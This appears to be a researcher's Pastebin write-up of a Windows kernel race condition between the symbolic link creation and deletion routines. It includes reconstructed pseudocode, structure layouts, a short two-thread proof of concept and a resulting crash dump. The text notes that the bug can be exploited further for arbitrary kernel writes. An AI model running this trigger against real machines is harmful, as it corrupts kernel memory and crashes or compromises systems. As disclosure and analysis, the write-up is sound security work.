waliedassar

nt!ObpCreateSymbolicLinkName Race Condition Write-Beyond-Boundary

Oct 14th, 2021 (edited)
4,908
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 9.98 KB | None | 0 0
  1. @waleedassar
  2.  
  3. The "nt!ObpCreateSymbolicLinkName" function is prone to a race condition bug with the "nt!ObpDeleteSymbolicLinkName" function since they do not properly acquire/release kernel locks while manipulating the same "_OBJECT_SYMBOLIC_LINK" object. The race condition bug can easily be further exploited to cause arbitrary kernel address writes and kernel memory corruptions. To understand this bug, we have to look closely at two things, the first is Symbolic Link Object creation and the second is Symbolic link object destruction.
  4.  
  5. A) Symbolic Link Object Creation
  6.  
  7. The function in question, "nt!ObpCreateSymbolicLinkName", is called by the "nt!ObInsertObjectEx" function , which is called by the "nt!ObCreateSymbolicLink" function, which is called by the "nt!NtCreateSymbolicLinkObject" syscall function, in a callstack that looks like below:
  8. //---- Start: ObpCreateSymbolicLinkName callstack ----
  9. 04 nt!ObpCreateSymbolicLinkName
  10. 05 nt!ObInsertObjectEx+0x5a1
  11. 06 nt!ObCreateSymbolicLink+0x118
  12. 07 nt!NtCreateSymbolicLinkObject+0xe6
  13. 08 nt!KiSystemServiceCopyEnd+0x25
  14. //---- End: ObpCreateSymbolicLinkName callstack ----
  15. By looking at the code from ObInsertObjectEx below, we see that it first calls ObpCreateHandle to create a new user-mode handle for the new symbolic link object then it calls the "nt!ObpCreateSymbolicLinkName".
  16. //---- Start: Snippet from ObInsertObjectEx ----
  17. int ret = ObpCreateHandle(0,pNewSymLinkObject,...);
  18. if(ret >= 0)
  19. {
  20.     //at this point, we have a valid User-Mode handle for the new symbolic link object, that can easily be used in  calls to NtClose function from another thread.
  21.     if(ObjectType == ObpSymbolicLinkObjectType)
  22.     {
  23.         if(ret == STATUS_OBJECT_NAME_EXISTS) ObpCreateSymbolicLinkName(pNewSymLinkObject);
  24.     }
  25. }
  26. ObfDereferenceObject(pNewSymLinkObject);
  27. //-------- End: Snippet from ObInsertObjectEx ------
  28. N.B. Once ObpCreateHandle has returned with success, we have a valid user-mode handle for the new symbolic link object. This means that, by the time, ObpCreateSymbolicLinkName is being called, another thread in the calling process can guess and manipulate the fresh symbolic link object that is still being manipulated by ObpCreateSymbolicLinkName.
  29.  
  30. The "nt!ObpCreateSymbolicLinkName" function is called for the purpose of:
  31. 1) Updating the "DosDeviceDriveIndex" of the "_OBJECT_SYMBOLIC_LINK" structure.
  32. 2) Updating the "_DEVICE_MAP" structure pointed to by the System or process device map.
  33.  
  34. Now, let's see code from ObpCreateSymbolicLinkName.
  35. //--- STart: ObpCreateSymbolicLinkName ----
  36. void ObpCreateSymbolicLinkName
  37. (_OBJECT_SYMBOLIC_LINK *SymbolicLink)
  38. {
  39.     _OBP_LOOKUP_CONTEXT LookupContext;
  40.     ...
  41.     _OBJECT_HEADER* ObjHdr = SymbolicLink - 0x30;//r15
  42.     uchar var_InfoMask = ObjHdr->InfoMask;
  43.     ulong var_Counter40 = 0x40;
  44.     _OBJECT_HEADER_NAME_INFO* NameInfo = 0;
  45.     if(var_InfoMask & 0x2)      NameInfo = ObjHdr - nt!ObpInfoMaskToOffset[var_InfoMask & 0x3];
  46.     if(!NameInfo) return;
  47.     _OBJECT_DIRECTORY* NameInfoDirectory = NameInfo->Directory;
  48.     if(NameInfoDirectory->DeviceMap == 0) return;
  49.     if(NameInfo->Name.Length != 4) return;
  50.     if(NameInfo->Name.Buffer[1] != L':') return;
  51.     ushort DriveLetter = NLS_UPCASE(NameInfo->Name.Buffer[0]);
  52.     ushort DriveLetterIndex = DriveLetter - 0x41;
  53.     if(DriveLetterIndex > 0x19) return;
  54.     ...
  55.     SymbolicLink->DosDeviceDriveIndex = DriveLetter - 0x40;
  56.     ...
  57.     _ESILO* pSilo = PsGetCurrentSilo();
  58.     _OBJECT_DIRECTORY* pSiloRootDir = OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(pSilo);
  59.     ObfReferenceObject(pSiloRootDir);
  60.     _UNICODE_STRING uniLinkTarget;
  61.     memcpy(&uniLinkTarget,&SymbolicLink->LinkTarget,0x10);
  62.     ...
  63.     ExAcquirePushLockExclusiveEx(pServerSiloGlob->ObSiloState.DeviceMapLock,0);
  64.     ulong var_DosDeviceDriveIndex = SymbolicLink->DosDeviceDriveIndex;
  65.     //DosDeviceDriveIndex are 1-based, 1 for A letter, 2 for B letter
  66.     var_DosDeviceDriveIndex--;
  67.     pDeviceMap->DriveType[var_DosDeviceDriveIndex] = DriveType;//Bug here
  68.     pDeviceMap->DriveMap |= (1<<var_DosDeviceDriveIndex);
  69.     ...
  70.     return;
  71. }
  72. //--- ENd: ObpCreateSymbolicLinkName ----
  73. the _DEVICE_MAP structure looks like below:
  74. 0: kd> dt nt!_device_map
  75.   +0x000 DosDevicesDirectory : Ptr64 _OBJECT_DIRECTORY
  76.   +0x008 GlobalDosDevicesDirectory : Ptr64 _OBJECT_DIRECTORY
  77.   +0x010 DosDevicesDirectoryHandle : Ptr64 Void
  78.   +0x018 ReferenceCount   : Int4B
  79.   +0x01c DriveMap         : Uint4B
  80.   +0x020 DriveType        : [32] UChar
  81.   +0x040 ServerSilo       : Ptr64 _EJOB
  82. The "DriveType" member is an array 32 CHARS each respresents the drive type (e.g.DRIVE_FIXED, DRIVE_FIXED, etc) for each drive letter (e.g. A:, B:, C:,.., Z:).  
  83.  
  84. the "OBJECT_SYMBOLIC_LINK" structure looks like below:
  85. 0: kd> dt nt!_OBJECT_SYMBOLIC_LINK
  86.   +0x000 CreationTime     : _LARGE_INTEGER
  87.   +0x008 LinkTarget       : _UNICODE_STRING
  88.   +0x008 Callback         : Ptr64     long
  89.   +0x010 CallbackContext  : Ptr64 Void
  90.   +0x018 DosDeviceDriveIndex : Uint4B
  91.   +0x01c Flags            : Uint4B
  92.   +0x020 AccessMask       : Uint4B
  93. The "DosDeviceDriveIndex" member is 1-based value representing an index into the "DriveType" array within the "_DEVICE_MAP" structure.
  94.  
  95. B) Symbolic Link Object Destruction
  96. The symbolic link objects are destroyed via calls to the "NtClose" syscall functions. NtClose then calls the "nt!ObCloseHandleTableEntry" function, which calls the "nt!ObpDeleteSymbolicLinkName" function in a call stack like below:
  97. //------ Start: Callstack ------
  98. 00 nt!ObpDeleteSymbolicLinkName
  99. 01 nt!ObCloseHandleTableEntry+0x22a
  100. 02 nt!NtClose+0xde
  101. //------ End: Callstack -------
  102. The "nt!ObpDeleteSymbolicLinkName" function code looks something like below:
  103. //------ Start: ObpDeleteSymbolicLinkName ------
  104. void ObpDeleteSymbolicLinkName(_OBJECT_SYMBOLIC_LINK *SymbolicLink)
  105. {
  106.     ulong var_DosDeviceDriveIndex = SymbolicLink->DosDeviceDriveIndex;
  107.     //DosDeviceDriveIndex field is 1 if the symbolic link is named "A:"
  108.     //and is zero if it is not within "A:" and "Z:"
  109.     if(var_DosDeviceDriveIndex)
  110.     {
  111.         _OBJECT_HEADER* pObjHdr = SymbolicLink - 0x30;
  112.         ulong Offset =  ObpInfoMaskToOffset[pObjHdr->InfoMask & 3];
  113.         _OBJECT_HEADER_NAME_INFO* pNameInfo = pObjHdr - Offset;
  114.         //The directory, our symbolic link object lives in.
  115.         _OBJECT_DIRECTORY* pParentDir = pNameInfo->Directory;
  116.         //The device map associated with our process, in case this directory object is our process's device map directory.
  117.         _DEVICE_MAP* pDeviceMap = pParentDir->DeviceMap;
  118.         if(pDeviceMap)
  119.         {
  120.             _ESERVERSILO_GLOBALS* pServerSiloGlob = PsGetCurrentServerSiloGlobals();
  121.             ExGetCurrentThread()->??--;
  122.             ExAcquirePushLockExclusiveEx(&pServerSiloGlob->ObSiloState.DeviceMapLock,0);
  123.             pDeviceMap->DriveMap &= ~(1 << (var_DosDeviceDriveIndex-1));
  124.            
  125.             pDeviceMap->DriveType[var_DosDeviceDriveIndex-1] = 0;
  126.             if(pDeviceMap != pServerSiloGlob->ObSiloState.SystemDeviceMap)
  127.             {
  128.                 pServerSiloGlob->ObSiloState.SystemDosDeviceState.LocalDeviceCount[var_DosDeviceDriveIndex-1]--;
  129.             }
  130.             else
  131.             {
  132.                 pServerSiloGlob->ObSiloState.SystemDosDeviceState.GlobalDeviceMap &= (~(1 << (var_DosDeviceDriveIndex-1)));
  133.             }
  134.             ExReleasePushLockEx(&pServerSiloGlob->ObSiloState.DeviceMapLock,0);
  135.             KiLeaveGuardedRegionUnsafe(ExGetCurrentThread());
  136.         }
  137.         SymbolicLink->DosDeviceDriveIndex = 0;//Bug here
  138.     }
  139. }
  140. //------ END:  ObpDeleteSymbolicLinkName----
  141. //////////////////////////
  142. Comparing the code from both nt!ObpCreateSymbolicLinkName and nt!ObpDeleteSymbolicLinkName, we can see:
  143. 1) ObpDeleteSymbolicLinkName sets the "DosDeviceDriveIndex" member of the symbolic link object to zero.
  144. SymbolicLink->DosDeviceDriveIndex = 0;
  145. 2) ObpCreateSymbolicLinkName extracts the "DosDeviceDriveIndex" member of the symbolic link object and decrements it by one.
  146. var_DosDeviceDriveIndex--;
  147. 2) ObpCreateSymbolicLinkName uses the decremented value as an index into the "DriveType" array within the device map structure.
  148. pDeviceMap->DriveType[var_DosDeviceDriveIndex] = DriveType;
  149.  
  150. So, to further demonstrate this bug we create two threads, the first keeps creating new symbolic link objects via NtCreateSymbolicLinkObject and the second one keeps closing the newly created symbolic link object handles via NtClose. By doing so, it is very likely ObpDeleteSymbolicLinkName will be called before ObpCreateSymbolicLinkName. Thus, ObpCreateSymbolicLinkName, will reference the "DriveType" array with an index of value 0xFFFFFFFF, causing writing an arbitrary value beyond the array boundaries.
  151. //------- Start: POC --------
  152. void ThreadX0()
  153. {
  154.     ....
  155.     while(1)
  156.     {
  157.         SymLinkName[0]= L'Z';
  158.         ObjAttr_sl.RootDirectory = hSubDir;
  159.         int retValue = ZwCreateSymbolicLinkObject(&hSymLink,SYMBOLIC_LINK_ALL_ACCESS,&ObjAttr_sl,&uniTarget);
  160.         printf("ZwCreateSymbolicLinkObject, ret: %X, hSymLink: %I64X\r\n",retValue,hSymLink);
  161.     }
  162. }
  163. void ThreadX1()
  164. {
  165.     ...
  166.     Sleep(3000);
  167.     while(1)
  168.     {
  169.         ZwClose(hSymLink);
  170.     }
  171. }
  172. //Full POC is attached
  173. //------- END: POC --------
  174.  
  175.  # Child-SP          RetAddr           Call Site
  176. 00 ffff8b8d`3d38f0b8 fffff807`5744a1a9 nt!KeBugCheckEx
  177. 01 ffff8b8d`3d38f0c0 fffff807`5729f500 nt!MiSystemFault+0x18cdf9
  178. 02 ffff8b8d`3d38f1c0 fffff807`5740505e nt!MmAccessFault+0x400
  179. 03 ffff8b8d`3d38f360 fffff807`5770743e nt!KiPageFault+0x35e
  180. 04 ffff8b8d`3d38f4f0 fffff807`5767a351 nt!ObpCreateSymbolicLinkName+0x32a
  181. 05 ffff8b8d`3d38f5d0 fffff807`576fb444 nt!ObInsertObjectEx+0x5a1
  182. 06 ffff8b8d`3d38f860 fffff807`576fb106 nt!ObCreateSymbolicLink+0x118
  183. 07 ffff8b8d`3d38f8d0 fffff807`574088b5 nt!NtCreateSymbolicLinkObject+0xe6
  184.  
  185. 0: kd> u nt!ObpCreateSymbolicLinkName+0x32a
  186. nt!ObpCreateSymbolicLinkName+0x32a:
  187. fffff807`5770743e 885c3920        mov     byte ptr [rcx+rdi+20h],bl
  188. fffff807`57707442 09471c          or      dword ptr [rdi+1Ch],eax
  189.  
  190. PAGE_FAULT_IN_NONPAGED_AREA (50)
  191. Invalid system memory was referenced.  This cannot be protected by try-except.
  192. Typically the address is just plain bad or it is pointing at freed memory.
  193. Arguments:
  194. Arg1: ffffa310687728cf, memory referenced.
  195. Arg2: 0000000000000002, value 0 = read operation, 1 = write operation.
  196. Arg3: fffff8075770743e, If non-zero, the instruction address which referenced the bad memory address.
  197. Arg4: 0000000000000002, (reserved)
  198.  
Add Comment
Please, Sign In to add comment